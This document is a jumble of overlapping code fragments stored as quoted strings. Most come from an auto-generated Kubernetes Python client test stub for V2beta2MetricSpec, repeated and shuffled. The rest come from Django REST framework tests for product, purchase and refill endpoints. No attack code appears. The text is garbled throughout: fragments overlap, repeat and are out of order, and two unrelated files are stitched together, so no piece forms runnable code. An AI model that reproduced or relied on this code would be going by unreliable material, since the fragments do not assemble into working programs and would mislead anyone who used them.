"unit test stubs\"\"\" def setUp(self): pass def tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test",
"pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is a boolean, when False only",
"kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key =",
"https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: v1.20.7 Generated by:",
"operator = '0', values = [ '0' ], ) ], match_labels = {",
"), ), type = '0' ) else : return V2beta2MetricSpec( type = '0',",
"V2beta2MetricSpec( type = '0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional",
"'0', ), ), type = '0' ) else : return V2beta2MetricSpec( type =",
"utf-8 \"\"\" Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa:",
"'0', type = '0', value = '0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name",
"= '0', value = '0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier(",
"= '0', name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value =",
"{ 'key' : '0' }, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56,",
"kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec",
"noqa: E501 The version of the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\"",
"def setUp(self): pass def tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is",
"\"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional : return V2beta2MetricSpec(",
"= kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator = '0', values",
"key = '0', operator = '0', values = [ '0' ], ) ],",
"model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional : return V2beta2MetricSpec( container_resource =",
"object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind = '0', name",
"average_value = '0', type = '0', value = '0', ), ), pods =",
"type = '0', value = '0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object =",
"'0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector",
"'0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator =",
"'0' ) else : return V2beta2MetricSpec( type = '0', ) def testV2beta2MetricSpec(self): \"\"\"Test",
"= '0', type = '0', value = '0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource(",
"= '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator",
"boolean, when False only required params are included, when True both required and",
"= 56, average_value = '0', type = '0', value = '0', ), ),",
"= '0', value = '0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier(",
"), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type = '0',",
"average_value = '0', type = '0', value = '0', ), ), type =",
"[ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator = '0', values = [ '0' ],",
"optional params are included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if",
"return V2beta2MetricSpec( type = '0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False)",
"def tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is a boolean, when",
"= '0', value = '0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0',",
"Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The",
"= '0', type = '0', value = '0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource(",
"'0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind",
"= kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions =",
"# model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional : return V2beta2MetricSpec( container_resource",
"when True both required and optional params are included \"\"\" # model =",
"type = '0', value = '0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name =",
"value = '0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name =",
"average_utilization = 56, average_value = '0', type = '0', value = '0', ),",
": return V2beta2MetricSpec( type = '0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only =",
"), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind = '0',",
"required params are included, when True both required and optional params are included",
"match_labels = { 'key' : '0' }, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization",
"description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of",
"Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import datetime import",
"= '0', type = '0', value = '0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource(",
"test stubs\"\"\" def setUp(self): pass def tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec",
") ], match_labels = { 'key' : '0' }, ), ), target =",
"document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import",
"'0', values = [ '0' ], ) ], match_labels = { 'key' :",
"(generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI",
") def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional = self.make_instance(include_optional=True) if __name__",
"kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [",
"= [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator = '0', values = [ '0'",
"'0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization",
"import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest",
"}, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type",
"= kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key",
"unittest import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501 from",
"target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type = '0', value",
"type = '0', value = '0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric =",
"\"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self): pass def tearDown(self): pass def make_instance(self, include_optional):",
"import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest import ApiException",
"OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest",
"\"\"\" from __future__ import absolute_import import unittest import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec",
"when False only required params are included, when True both required and optional",
"if include_optional : return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name =",
"Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: v1.20.7 Generated",
") else : return V2beta2MetricSpec( type = '0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\"",
"params are included, when True both required and optional params are included \"\"\"",
"'0', value = '0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name",
"'0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector",
"= kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions =",
"are included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional :",
"type = '0' ) else : return V2beta2MetricSpec( type = '0', ) def",
"from __future__ import absolute_import import unittest import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import",
"pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions",
"kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind = '0', name = '0', ), metric =",
"tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is a boolean, when False",
"'0', name = '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector =",
"kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator = '0', values =",
"kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self): pass def",
"match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator = '0', values = [",
"[ '0' ], ) ], match_labels = { 'key' : '0' }, ),",
"TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self): pass def tearDown(self): pass def make_instance(self,",
"are included, when True both required and optional params are included \"\"\" #",
"__future__ import absolute_import import unittest import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec",
"'0', type = '0', value = '0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object",
"kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator = '0', values = [ '0' ], )",
"\"\"\"Test V2beta2MetricSpec include_option is a boolean, when False only required params are included,",
"True both required and optional params are included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec()",
"and optional params are included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501",
"kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0',",
"by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document:",
"= '0', value = '0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference(",
"= kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type = '0', value =",
"V2beta2MetricSpec include_option is a boolean, when False only required params are included, when",
"= kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind = '0', name =",
"kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [",
"The version of the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from __future__",
"include_optional : return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name = '0',",
"56, average_value = '0', type = '0', value = '0', ), ), pods",
"'0', name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0',",
"value = '0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version =",
"name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0',",
"kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type = '0', value = '0',",
"import absolute_import import unittest import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec #",
"stubs\"\"\" def setUp(self): pass def tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option",
"resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value",
"'0', type = '0', value = '0', ), ), type = '0' )",
"noqa: E501 if include_optional : return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0',",
"], ) ], match_labels = { 'key' : '0' }, ), ), target",
"values = [ '0' ], ) ], match_labels = { 'key' : '0'",
"), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization =",
"V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget(",
"import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self): pass def tearDown(self):",
"= '0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0',",
"56, average_value = '0', type = '0', value = '0', ), ), type",
"version of the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from __future__ import",
"include_option is a boolean, when False only required params are included, when True",
"metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement(",
"'0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional = self.make_instance(include_optional=True) if",
"= '0', ), ), type = '0' ) else : return V2beta2MetricSpec( type",
"type = '0', value = '0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric =",
"<gh_stars>0 # coding: utf-8 \"\"\" Kubernetes No description provided (generated by Openapi Generator",
"= '0' ) else : return V2beta2MetricSpec( type = '0', ) def testV2beta2MetricSpec(self):",
"\"\"\" Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501",
"value = '0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name =",
"'0', value = '0', ), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version",
"container = '0', name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value",
"= '0', type = '0', value = '0', ), ), type = '0'",
"), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector =",
"= '0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0',",
"ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self): pass def tearDown(self): pass",
"api_version = '0', kind = '0', name = '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier(",
"= kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind = '0', name = '0', ), metric",
"), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector =",
"datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest import",
"), ), object = kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind =",
"'0' ], ) ], match_labels = { 'key' : '0' }, ), ),",
"= '0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget(",
"a boolean, when False only required params are included, when True both required",
"False only required params are included, when True both required and optional params",
"), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56,",
"], match_labels = { 'key' : '0' }, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget(",
"provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the",
"def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is a boolean, when False only required",
"coding: utf-8 \"\"\" Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) #",
"= kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional : return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource(",
"params are included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional",
"name = '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector(",
"import unittest import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501",
"only required params are included, when True both required and optional params are",
"include_optional): \"\"\"Test V2beta2MetricSpec include_option is a boolean, when False only required params are",
"the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import",
"= '0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional = self.make_instance(include_optional=True)",
"kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest import ApiException class",
"# noqa: E501 from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\"",
"by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import datetime import kubernetes.client",
"included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional : return",
"), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [",
"56, average_value = '0', type = '0', value = '0', ), ), resource",
"'0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions =",
"56, average_value = '0', type = '0', value = '0', ), ), external",
"= '0', values = [ '0' ], ) ], match_labels = { 'key'",
"import V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit",
"kubernetes.client.models.v2beta2/object_metric_source.v2beta2.ObjectMetricSource( described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind = '0', name = '0',",
"average_value = '0', type = '0', value = '0', ), ), external =",
"selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions = [ kubernetes.client.models.v1/label_selector_requirement.v1.LabelSelectorRequirement( key = '0', operator = '0',",
"), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector(",
"'0' }, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0',",
"absolute_import import unittest import datetime import kubernetes.client from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa:",
"Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: v1.20.7",
"class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self): pass def tearDown(self): pass def"
] |
[
"import APITestCase from django.shortcuts import reverse from rest_framework import status from core.models import",
"self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data =",
"from core.models import ProductsTbl, PurchaseTransactionTbl # Create your tests here. class TestProductViews(APITestCase): def",
"status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001,",
"status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity': 50} qty = self.product.quantity old_qty = self.purchase.purchased_quantity",
"purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res =",
"def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data)",
"kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity res",
"self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity': 50} qty = self.product.quantity old_qty =",
"quantity=100, unit_price=2500 ) self.url = reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)",
"{ 'product_id':1000, 'refill_count':100, } res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data",
"self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)",
"def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url, self.product_data)",
"= self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id'])",
"status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url =",
"= self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'],",
"self.product.quantity new_qty = quantity+data['refill_count'] res = self.client.post(self.url,data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(check_qty,new_qty)",
"rest_framework import status from core.models import ProductsTbl, PurchaseTransactionTbl # Create your tests here.",
"self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id'])",
"TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list') self.product_data = { 'product_id': 10215, 'name': '<NAME>',",
"'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100,",
"rest_framework.test import APITestCase from django.shortcuts import reverse from rest_framework import status from core.models",
"your tests here. class TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list') self.product_data = {",
"'<NAME>', 'quantity': 105, 'unit_price': 100.00 } def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)",
"self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data = {",
"reverse('purchases-list') self.purchase_data = { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product =",
"self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self):",
"res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 }",
"50} qty = self.product.quantity old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty = qty",
"= self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def",
"self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity purchase_quantity =",
